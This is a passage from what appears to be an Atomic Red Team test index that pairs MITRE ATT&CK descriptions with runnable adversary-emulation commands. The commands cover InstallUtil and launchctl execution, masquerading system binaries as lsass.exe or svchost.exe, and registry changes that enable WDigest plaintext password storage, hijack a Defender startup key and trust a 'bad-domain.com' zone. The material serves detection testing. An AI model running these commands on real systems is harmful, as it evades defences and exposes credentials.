prereq_command: if (Test-Path "#{test_harness}") {exit 0} else {exit 1} + get_prereq_command: |- + New-Item -Type Directory (split-path #{test_harness}) -ErrorAction ignore | Out-Null + Invoke-WebRequest 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1118/src/InstallUtilTestHarness.ps1' -OutFile "#{test_harness}" + executor: + name: powershell + elevation_required: false + command: | + # Import the required test harness function, Invoke-BuildAndInvokeInstallUtilAssembly + . #{test_harness} + + $InstallerAssemblyDir = "$Env:windir\System32\Tasks" + $InstallerAssemblyFileName = 'readme.txt' + $InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName + + $CommandLine = "readme.txt" + $ExpectedOutput = 'Constructor_' + + # Explicitly set the directory so that a relative path to readme.txt can be supplied. + Set-Location "$Env:windir\System32\Tasks" + + Copy-Item -Path "$([System.Runtime.InteropServices.RuntimeEnvironment]::GetRuntimeDirectory())InstallUtil.exe" -Destination "$Env:windir\System32\Tasks\notepad.exe" + + $TestArgs = @{ + OutputAssemblyDirectory = $InstallerAssemblyDir + OutputAssemblyFileName = $InstallerAssemblyFileName + InvocationMethod = 'Executable' + CommandLine = $CommandLine + InstallUtilPath = "$Env:windir\System32\Tasks\notepad.exe" + } + + $ActualOutput = Invoke-BuildAndInvokeInstallUtilAssembly @TestArgs -MinimumViableAssembly + + if ($ActualOutput -ne $ExpectedOutput) { + throw @" + Evasive Installutil invocation test failure. Installer assembly execution output did not match the expected output. + Expected: $ExpectedOutput + Actual: $ActualOutput + "@ + } + cleanup_command: |- + Remove-Item -Path "$Env:windir\System32\Tasks\readme.txt" + Remove-Item -Path "$Env:windir\System32\Tasks\readme.InstallLog" + Remove-Item -Path "$Env:windir\System32\Tasks\readme.InstallState" + Remove-Item -Path "$Env:windir\System32\Tasks\notepad.exe" + T1152: + technique: + x_mitre_permissions_required: + - User + - Administrator + x_mitre_data_sources: + - File monitoring + - Process monitoring + - Process command-line parameters + name: Launchctl + description: "Launchctl controls the macOS launchd process which handles things + like launch agents and launch daemons, but can execute other commands or programs + itself. Launchctl supports taking subcommands on the command-line, interactively, + or even redirected from standard input. By loading or reloading launch agents + or launch daemons, adversaries can install persistence or execute changes + they made (Citation: Sofacy Komplex Trojan). Running a command from launchctl + is as simple as launchctl submit -l -- /Path/to/thing/to/execute + \"arg\" \"arg\" \"arg\". Loading, unloading, or reloading launch agents + or launch daemons can require elevated privileges. \n\nAdversaries can abuse + this functionality to execute code or even bypass whitelisting if launchctl + is an allowed process." + x_mitre_remote_support: false + id: attack-pattern--53bfc8bf-8f76-4cd7-8958-49a884ddb3ee + x_mitre_platforms: + - macOS + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + type: attack-pattern + x_mitre_detection: Knock Knock can be used to detect persistent programs such + as those installed via launchctl as launch agents or launch daemons. Additionally, + every launch agent or launch daemon must have a corresponding plist file on + disk somewhere which can be monitored. Monitor process execution from launchctl/launchd + for unusual or unknown processes. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + modified: '2019-07-18T15:27:13.077Z' + created: '2017-12-14T16:46:06.044Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: defense-evasion + - kill_chain_name: mitre-attack + phase_name: execution + - kill_chain_name: mitre-attack + phase_name: persistence + external_references: + - external_id: T1152 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1152 + - source_name: Sofacy Komplex Trojan + description: Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). + Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017. + url: https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/ + x_mitre_defense_bypassed: + - Application whitelisting + - Process whitelisting + - Whitelisting by file name or path + identifier: T1152 + atomic_tests: + - name: Launchctl + description: 'Utilize launchctl + + ' + supported_platforms: + - macos + executor: + name: sh + command: 'launchctl submit -l evil -- /Applications/Calculator.app/Contents/MacOS/Calculator + + ' + T1036: + technique: + x_mitre_data_sources: + - File monitoring + - Process monitoring + - Binary file metadata + name: Masquerading + description: |- + Masquerading occurs when the name or location of an executable, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. Several different variations of this technique have been observed. + + One variant is for an executable to be placed in a commonly trusted directory or given the name of a legitimate, trusted program. Alternatively, the filename given may be a close approximation of legitimate programs or something innocuous. An example of this is when a common system utility or program is moved and renamed to avoid detection based on its usage.(Citation: FireEye APT10 Sept 2018) This is done to bypass tools that trust executables by relying on file name or path, as well as to deceive defenders and system administrators into thinking a file is benign by associating the name with something that is thought to be legitimate. + + A third variant uses the right-to-left override (RTLO or RLO) character (U+202E) as a means of tricking a user into executing what they think is a benign file type but is actually executable code. RTLO is a non-printing character that causes the text that follows it to be displayed in reverse.(Citation: Infosecinstitute RTLO Technique) For example, a Windows screensaver file named March 25 \u202Excod.scr will display as March 25 rcs.docx. A JavaScript file named photo_high_re\u202Egnp.js will be displayed as photo_high_resj.png. A common use of this technique is with spearphishing attachments since it can trick both end users and defenders if they are not aware of how their tools display and render the RTLO character. Use of the RTLO character has been seen in many targeted intrusion attempts and criminal activity.(Citation: Trend Micro PLEAD RTLO)(Citation: Kaspersky RTLO Cyber Crime) RTLO can be used in the Windows Registry as well, where regedit.exe displays the reversed characters but the command line tool reg.exe does not by default.  + + Adversaries may modify a binary's metadata, including such fields as icons, version, name of the product, description, and copyright, to better blend in with the environment and increase chances of deceiving a security analyst or product.(Citation: Threatexpress MetaTwin 2017) + + ### Windows + In another variation of this technique, an adversary may use a renamed copy of a legitimate utility, such as rundll32.exe. (Citation: Endgame Masquerade Ball) An alternative case occurs when a legitimate utility is moved to a different directory and also renamed to avoid detections based on system utilities executing from non-standard paths. (Citation: F-Secure CozyDuke) + + An example of abuse of trusted locations in Windows would be the C:\Windows\System32 directory. Examples of trusted binary names that can be given to malicious binares include "explorer.exe" and "svchost.exe". + + ### Linux + Another variation of this technique includes malicious binaries changing the name of their running process to that of a trusted or benign process, after they have been launched as opposed to before. (Citation: Remaiten) + + An example of abuse of trusted locations in Linux would be the /bin directory. Examples of trusted binary names that can be given to malicious binaries include "rsyncd" and "dbus-inotifier". (Citation: Fysbis Palo Alto Analysis) (Citation: Fysbis Dr Web Analysis) + id: attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0 + modified: '2019-09-10T17:44:59.498Z' + x_mitre_platforms: + - Linux + - macOS + - Windows + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.2' + type: attack-pattern + x_mitre_detection: |- + Collect file hashes; file names that do not match their expected hash are suspect. Perform file monitoring; files with known names but in unusual locations are suspect. Likewise, files that are modified outside of an update or patch are suspect. + + If file names are mismatched between the file name on disk and that of the binary's PE metadata, this is a likely indicator that a binary was renamed after it was compiled. Collecting and comparing disk and resource filenames for binaries by looking to see if the InternalName, OriginalFilename, and/or ProductName match what is expected could provide useful leads, but may not always be indicative of malicious activity. (Citation: Endgame Masquerade Ball) Do not focus on the possible names a file could have, but instead on the command-line arguments that are known to be used and are distinct because it will have a better rate of detection.(Citation: Twitter ItsReallyNick Masquerading Update) + + For RTLO, detection methods should include looking for common formats of RTLO characters within filenames such as "\u202E", "[U+202E]", and "%E2%80%AE". Defenders should also check their analysis tools to ensure they do not interpret the RTLO character and instead print the true name of the a file containing it. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_contributors: + - Oleg Kolesnikov + - Nick Carr, FireEye + - David Lu, Tripwire + - Felipe Espósito, @Pr0teus + - ENDGAME + - Bartosz Jerzman + created: '2017-05-31T21:30:38.511Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: defense-evasion + external_references: + - external_id: T1036 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1036 + - source_name: capec + external_id: CAPEC-177 + url: https://capec.mitre.org/data/definitions/177.html + - source_name: FireEye APT10 Sept 2018 + description: Matsuda, A., Muhammad I. (2018, September 13). APT10 Targeting + Japanese Corporations Using Updated TTPs. Retrieved September 17, 2018. + url: https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html + - description: Security Ninja. (2015, April 16). Spoof Using Right to Left Override + (RTLO) Technique. Retrieved April 22, 2019. + source_name: Infosecinstitute RTLO Technique + url: https://resources.infosecinstitute.com/spoof-using-right-to-left-override-rtlo-technique-2/ + - description: Alintanahin, K.. (2014, May 23). PLEAD Targeted Attacks Against + Taiwanese Government Agencies. Retrieved April 22, 2019. + source_name: Trend Micro PLEAD RTLO + url: https://blog.trendmicro.com/trendlabs-security-intelligence/plead-targeted-attacks-against-taiwanese-government-agencies-2/ + - description: Firsh, A.. (2018, February 13). Zero-day vulnerability in Telegram + - Cybercriminals exploited Telegram flaw to launch multipurpose attacks. + Retrieved April 22, 2019. + source_name: Kaspersky RTLO Cyber Crime + url: https://securelist.com/zero-day-vulnerability-in-telegram/83800/ + - description: Vest, J. (2017, October 9). Borrowing Microsoft MetaData and + Signatures to Hide Binary Payloads. Retrieved September 10, 2019. + source_name: Threatexpress MetaTwin 2017 + url: https://threatexpress.com/blogs/2017/metatwin-borrowing-microsoft-metadata-and-digital-signatures-to-hide-binaries/ + - source_name: Endgame Masquerade Ball + description: 'Ewing, P. (2016, October 31). How to Hunt: The Masquerade Ball. + Retrieved October 31, 2016.' + url: https://www.endgame.com/blog/how-hunt-masquerade-ball + - source_name: F-Secure CozyDuke + description: 'F-Secure Labs. (2015, April 22). CozyDuke: Malware Analysis. + Retrieved December 10, 2015.' + url: https://www.f-secure.com/documents/996508/1030745/CozyDuke + - source_name: Remaiten + description: Michal Malik AND Marc-Etienne M.Léveillé. (2016, March 30). Meet + Remaiten – a Linux bot on steroids targeting routers and potentially other + IoT devices. Retrieved September 7, 2017. + url: https://www.welivesecurity.com/2016/03/30/meet-remaiten-a-linux-bot-on-steroids-targeting-routers-and-potentially-other-iot-devices/ + - source_name: Fysbis Palo Alto Analysis + description: 'Bryan Lee and Rob Downs. (2016, February 12). A Look Into Fysbis: + Sofacy’s Linux Backdoor. Retrieved September 10, 2017.' + url: https://researchcenter.paloaltonetworks.com/2016/02/a-look-into-fysbis-sofacys-linux-backdoor/ + - source_name: Fysbis Dr Web Analysis + description: Doctor Web. (2014, November 21). Linux.BackDoor.Fysbis.1. Retrieved + December 7, 2017. + url: https://vms.drweb.com/virus/?i=4276269 + - description: Carr, N.. (2018, October 25). Nick Carr Status Update Masquerading. + Retrieved April 22, 2019. + source_name: Twitter ItsReallyNick Masquerading Update + url: https://twitter.com/ItsReallyNick/status/1055321652777619457 + x_mitre_defense_bypassed: + - Whitelisting by file name or path + identifier: T1036 + atomic_tests: + - name: Masquerading as Windows LSASS process + description: | + Copies cmd.exe, renames it, and launches it to masquerade as an instance of lsass.exe. + + Upon execution, cmd will be launched by powershell. If using Invoke-AtomicTest, The test will hang until the 120 second timeout cancels the session + supported_platforms: + - windows + executor: + name: command_prompt + elevation_required: false + command: | + copy %SystemRoot%\System32\cmd.exe %SystemRoot%\Temp\lsass.exe + %SystemRoot%\Temp\lsass.exe /B + cleanup_command: 'del /Q /F %SystemRoot%\Temp\lsass.exe >nul 2>&1 + + ' + - name: Masquerading as Linux crond process. + description: | + Copies sh process, renames it as crond, and executes it to masquerade as the cron daemon. + + Upon successful execution, sh is renamed to `crond` and executed. + supported_platforms: + - linux + executor: + name: sh + elevation_required: false + command: | + cp /bin/sh /tmp/crond + /tmp/crond + - name: Masquerading - cscript.exe running as notepad.exe + description: | + Copies cscript.exe, renames it, and launches it to masquerade as an instance of notepad.exe. + + Upon successful execution, cscript.exe is renamed as notepad.exe and executed from non-standard path. + supported_platforms: + - windows + executor: + name: command_prompt + elevation_required: false + command: | + copy %SystemRoot%\System32\cscript.exe %APPDATA%\notepad.exe /Y + cmd.exe /c %APPDATA%\notepad.exe /B + cleanup_command: 'del /Q /F %APPDATA%\notepad.exe >nul 2>&1 + + ' + - name: Masquerading - wscript.exe running as svchost.exe + description: | + Copies wscript.exe, renames it, and launches it to masquerade as an instance of svchost.exe. + + Upon execution, no windows will remain open but wscript will have been renamed to svchost and ran out of the temp folder + supported_platforms: + - windows + executor: + name: command_prompt + elevation_required: false + command: | + copy %SystemRoot%\System32\wscript.exe %APPDATA%\svchost.exe /Y + cmd.exe /c %APPDATA%\svchost.exe /B + cleanup_command: 'del /Q /F %APPDATA%\svchost.exe >nul 2>&1 + + ' + - name: Masquerading - powershell.exe running as taskhostw.exe + description: | + Copies powershell.exe, renames it, and launches it to masquerade as an instance of taskhostw.exe. + + Upon successful execution, powershell.exe is renamed as taskhostw.exe and executed from non-standard path. + supported_platforms: + - windows + executor: + name: command_prompt + elevation_required: false + command: | + copy %windir%\System32\windowspowershell\v1.0\powershell.exe %APPDATA%\taskhostw.exe /Y + cmd.exe /K %APPDATA%\taskhostw.exe + cleanup_command: 'del /Q /F %APPDATA%\taskhostw.exe >nul 2>&1 + + ' + - name: Masquerading - non-windows exe running as windows exe + description: | + Copies an exe, renames it as a windows exe, and launches it to masquerade as a real windows exe + + Upon successful execution, powershell will execute T1036.exe as svchost.exe from on a non-standard path. + supported_platforms: + - windows + input_arguments: + inputfile: + description: path of file to copy + type: path + default: PathToAtomicsFolder\T1036\bin\t1036.exe + outputfile: + description: path of file to execute + type: path + default: ($env:TEMP + "\svchost.exe") + dependency_executor_name: powershell + dependencies: + - description: Exe file to copy must exist on disk at specified location (#{inputfile}) + prereq_command: 'if (Test-Path #{inputfile}) {exit 0} else {exit 1}' + get_prereq_command: |- + New-Item -Type Directory (split-path #{inputfile}) -ErrorAction ignore | Out-Null + Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1036/bin/t1036.exe" -OutFile "#{inputfile}" + executor: + name: powershell + elevation_required: false + command: | + copy #{inputfile} #{outputfile} + $myT1036 = (Start-Process -PassThru -FilePath #{outputfile}).Id + Stop-Process -ID $myT1036 + cleanup_command: 'Remove-Item #{outputfile} -Force -ErrorAction Ignore + + ' + - name: Masquerading - windows exe running as different windows exe + description: 'Copies a windows exe, renames it as another windows exe, and launches + it to masquerade as second windows exe + + ' + supported_platforms: + - windows + input_arguments: + inputfile: + description: path of file to copy + type: path + default: "$env:ComSpec" + outputfile: + description: path of file to execute + type: path + default: ($env:TEMP + "\svchost.exe") + executor: + name: powershell + elevation_required: false + command: | + copy #{inputfile} #{outputfile} + $myT1036 = (Start-Process -PassThru -FilePath #{outputfile}).Id + Stop-Process -ID $myT1036 + cleanup_command: 'Remove-Item #{outputfile} -Force -ErrorAction Ignore + + ' + - name: Malicious process Masquerading as LSM.exe + description: | + Detect LSM running from an incorrect directory and an incorrect service account + This works by copying cmd.exe to a file, naming it lsm.exe, then copying a file to the C:\ folder. + + Upon successful execution, cmd.exe will be renamed as lsm.exe and executed from non-standard path. + supported_platforms: + - windows + executor: + name: command_prompt + elevation_required: true + command: | + copy C:\Windows\System32\cmd.exe C:\lsm.exe + C:\lsm.exe /c echo T1036 > C:\T1036.txt + cleanup_command: | + del C:\T1036.txt >nul 2>&1 + del C:\lsm.exe >nul 2>&1 + T1112: + technique: + x_mitre_data_sources: + - Windows Registry + - File monitoring + - Process monitoring + - Process command-line parameters + - Windows event logs + x_mitre_permissions_required: + - User + - Administrator + - SYSTEM + name: Modify Registry + description: |- + Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in Persistence and Execution. + + Access to specific areas of the Registry depends on account permissions, some requiring administrator-level access. The built-in Windows command-line utility [Reg](https://attack.mitre.org/software/S0075) may be used for local or remote Registry modification. (Citation: Microsoft Reg) Other tools may also be used, such as a remote access tool, which may contain functionality to interact with the Registry through the Windows API (see examples). + + Registry modifications may also include actions to hide keys, such as prepending key names with a null character, which will cause an error and/or be ignored when read via [Reg](https://attack.mitre.org/software/S0075) or other utilities using the Win32 API. (Citation: Microsoft Reghide NOV 2006) Adversaries may abuse these pseudo-hidden keys to conceal payloads/commands used to establish Persistence. (Citation: TrendMicro POWELIKS AUG 2014) (Citation: SpectorOps Hiding Reg Jul 2017) + + The Registry of a remote system may be modified to aid in execution of files as part of Lateral Movement. It requires the remote Registry service to be running on the target system. (Citation: Microsoft Remote) Often [Valid Accounts](https://attack.mitre.org/techniques/T1078) are required, along with access to the remote system's [Windows Admin Shares](https://attack.mitre.org/techniques/T1077) for RPC communication. + id: attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4 + modified: '2019-06-25T12:31:56.827Z' + x_mitre_platforms: + - Windows + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + type: attack-pattern + x_mitre_detection: |- + Modifications to the Registry are normal and occur throughout typical use of the Windows operating system. Consider enabling Registry Auditing on specific keys to produce an alertable event (Event ID 4657) whenever a value is changed (though this may not trigger when values are created with Reghide or other evasive methods). (Citation: Microsoft 4657 APR 2017) Changes to Registry entries that load software on Windows startup that do not correlate with known software, patch cycles, etc., are suspicious, as are additions or changes to files within the startup folder. Changes could also include new services and modification of existing binary paths to point to malicious files. If a change to a service-related entry occurs, then it will likely be followed by a local or remote service start or restart to execute the file. + + Monitor processes and command-line arguments for actions that could be taken to change or delete information in the Registry. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086), which may require additional logging features to be configured in the operating system to collect necessary information for analysis. + + Monitor for processes, command-line arguments, and API calls associated with concealing Registry keys, such as Reghide. (Citation: Microsoft Reghide NOV 2006) Inspect and cleanup malicious hidden Registry entries using Native Windows API calls and/or tools such as Autoruns (Citation: SpectorOps Hiding Reg Jul 2017) and RegDelNull (Citation: Microsoft RegDelNull July 2016). + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_contributors: + - Bartosz Jerzman + - Travis Smith, Tripwire + - David Lu, Tripwire + created: '2017-05-31T21:31:23.587Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: defense-evasion + external_references: + - external_id: T1112 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1112 + - source_name: capec + external_id: CAPEC-203 + url: https://capec.mitre.org/data/definitions/203.html + - source_name: Microsoft Reg + description: Microsoft. (2012, April 17). Reg. Retrieved May 1, 2015. + url: https://technet.microsoft.com/en-us/library/cc732643.aspx + - source_name: Microsoft Reghide NOV 2006 + description: Russinovich, M. & Sharkey, K. (2006, January 10). Reghide. Retrieved + August 9, 2018. + url: https://docs.microsoft.com/sysinternals/downloads/reghide + - source_name: TrendMicro POWELIKS AUG 2014 + description: 'Santos, R. (2014, August 1). POWELIKS: Malware Hides In Windows + Registry. Retrieved August 9, 2018.' + url: https://blog.trendmicro.com/trendlabs-security-intelligence/poweliks-malware-hides-in-windows-registry/ + - description: Reitz, B. (2017, July 14). Hiding Registry keys with PSReflect. + Retrieved August 9, 2018. + source_name: SpectorOps Hiding Reg Jul 2017 + url: https://posts.specterops.io/hiding-registry-keys-with-psreflect-b18ec5ac8353 + - source_name: Microsoft Remote + description: Microsoft. (n.d.). Enable the Remote Registry Service. Retrieved + May 1, 2015. + url: https://technet.microsoft.com/en-us/library/cc754820.aspx + - source_name: Microsoft 4657 APR 2017 + description: 'Miroshnikov, A. & Hall, J. (2017, April 18). 4657(S): A registry + value was modified. Retrieved August 9, 2018.' + url: https://docs.microsoft.com/windows/security/threat-protection/auditing/event-4657 + - description: Russinovich, M. & Sharkey, K. (2016, July 4). RegDelNull v1.11. + Retrieved August 10, 2018. + source_name: Microsoft RegDelNull July 2016 + url: https://docs.microsoft.com/en-us/sysinternals/downloads/regdelnull + x_mitre_defense_bypassed: + - Host forensic analysis + identifier: T1112 + atomic_tests: + - name: Modify Registry of Current User Profile - cmd + description: 'Modify the registry of the currently logged in user using reg.exe + cia cmd console + + ' + supported_platforms: + - windows + executor: + name: command_prompt + elevation_required: true + command: 'reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced + /t REG_DWORD /v HideFileExt /d 1 /f + + ' + cleanup_command: 'reg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced + /v HideFileExt /f + + ' + - name: Modify Registry of Local Machine - cmd + description: | + Modify the Local Machine registry RUN key to change Windows Defender executable that should be ran on startup. This should only be possible when + CMD is ran as Administrative rights. + supported_platforms: + - windows + executor: + name: command_prompt + elevation_required: true + command: 'reg add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run + /t REG_EXPAND_SZ /v SecurityHealth /d {some_other_executable} /f + + ' + cleanup_command: 'reg delete HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run + /v SecurityHealth /f + + ' + - name: Modify Registry of Another User Profile + description: 'Modify a registry key of each user profile not currently loaded + on the machine using both powershell and cmd line tools. + + ' + supported_platforms: + - windows + executor: + name: powershell + elevation_required: true + command: | + # here is an example of using the same method of reg load, but without the New-PSDrive cmdlet. + # Here we can load all unloaded user hives and do whatever we want in the location below (comments) + $PatternSID = 'S-1-5-21-\d+-\d+\-\d+\-\d+$' + + Write-Verbose -Message 'Gathering Profile List and loading their registry hives' + # Get Username, SID, and location of ntuser.dat for all users + + $ProfileList = @() + $ProfileList = Get-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\*' | Where-Object { $_.PSChildName -match $PatternSID } | + Select @{ name = "SID"; expression = { $_.PSChildName } }, + @{ name = "UserHive"; expression = { "$($_.ProfileImagePath)\ntuser.dat" } }, + @{ name = "Username"; expression = { $_.ProfileImagePath -replace '^(.*[\\\/])', '' } } + + # Get all user SIDs found in HKEY_USERS (ntuder.dat files that are loaded) + $LoadedHives = Get-ChildItem Registry::HKEY_USERS | ? { $_.PSChildname -match $PatternSID } | Select @{ name = "SID"; expression = { $_.PSChildName } } + + $SIDObject = @() + + foreach ($item in $LoadedHives) + { + $props = @{ + SID = $item.SID + } + + $TempSIDObject = New-Object -TypeName PSCustomObject -Property $props + $SIDObject += $TempSIDObject + } + + # We need to use ($ProfileList | Measure-Object).count instead of just ($ProfileList).count because in PS V2 + # if the count is less than 2 it doesn't work. :) + for ($p = 0; $p -lt ($ProfileList | Measure-Object).count; $p++) + { + for ($l = 0; $l -lt ($SIDObject | Measure-Object).count; $l++) + { + if (($ProfileList[$p].SID) -ne ($SIDObject[$l].SID)) + { + $UnloadedHives += $ProfileList[$p].SID + Write-Verbose -Message "Loading Registry hives for $($ProfileList[$p].SID)" + reg load "HKU\$($ProfileList[$p].SID)" "$($ProfileList[$p].UserHive)" + + Write-Verbose -Message 'Attempting to modify registry keys for each profile' + ##################################################################### + reg add "HKEY_CURRENT_USER\$($ProfileList[$p].SID)\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /t REG_DWORD /v HideFileExt /d 1 /f + } + } + } + + Write-Verbose 'Unloading Registry hives for all users' + # Unload ntuser.dat + ### Garbage collection and closing of ntuser.dat ### + [gc]::Collect() + reg unload "HKU\$($ProfileList[$p].SID)" + - name: Modify registry to store logon credentials + description: 'Sets registry key that will tell windows to store plaintext passwords + (making the system vulnerable to clear text / cleartext password dumping) + + ' + supported_platforms: + - windows + executor: + name: command_prompt + elevation_required: true + command: 'reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest + /v UseLogonCredential /t REG_DWORD /d 1 /f + + ' + cleanup_command: 'reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest + /v UseLogonCredential /t REG_DWORD /d 0 /f + + ' + - name: Modify registry to store PowerShell code + description: 'Sets Windows Registry key containing base64-encoded PowerShell + code. + + ' + supported_platforms: + - windows + input_arguments: + powershell_command: + description: PowerShell command to encode + type: String + default: Write-Host "Hey, Atomic!" + registry_key_storage: + description: Windows Registry Key to store code + type: String + default: HKCU:Software\Microsoft\Windows\CurrentVersion + registry_entry_storage: + description: Windows Registry entry to store code under key + type: String + default: Debug + executor: + name: powershell + elevation_required: false + command: | + $OriginalCommand = '#{powershell_command}' + $Bytes = [System.Text.Encoding]::Unicode.GetBytes($OriginalCommand) + $EncodedCommand =[Convert]::ToBase64String($Bytes) + $EncodedCommand + Set-ItemProperty -Force -Path #{registry_key_storage} -Name #{registry_entry_storage} -Value $EncodedCommand + cleanup_command: 'Remove-ItemProperty -Force -Path #{registry_key_storage} + -Name #{registry_entry_storage} -ErrorAction Ignore + + ' + - name: Add domain to Trusted sites Zone + description: | + Attackers may add a domain to the trusted site zone to bypass defenses. Doing this enables attacks such as c2 over office365 as described here: + https://www.blackhat.com/docs/us-17/wednesday/us-17-Dods-Infecting-The-Enterprise-Abusing-Office365-Powershell-For-Covert-C2.pdf + supported_platforms: + - windows + executor: + name: powershell + elevation_required: false + command: | + $key= "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Domains\bad-domain.com\" + $name ="bad-subdomain" + new-item $key -Name $name -Force + new-itemproperty $key$name -Name https -Value 2 -Type DWORD; + new-itemproperty $key$name -Name http -Value 2 -Type DWORD; + new-itemproperty $key$name -Name * -Value 2 -Type DWORD; + cleanup_command: | + $key = "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Domains\bad-domain.com\" + Remove-item $key -Recurse -ErrorAction Ignore + - name: Javascript in registry + description: 'Upon execution, a javascript block will be placed in the registry + for persistence + + ' + supported_platforms: + - windows + executor: + name: powershell + elevation_required: false + command: 'New-ItemProperty "HKCU:\Software\Microsoft\Windows\CurrentVersion\Internet + Settings" -Name T1112 -Value "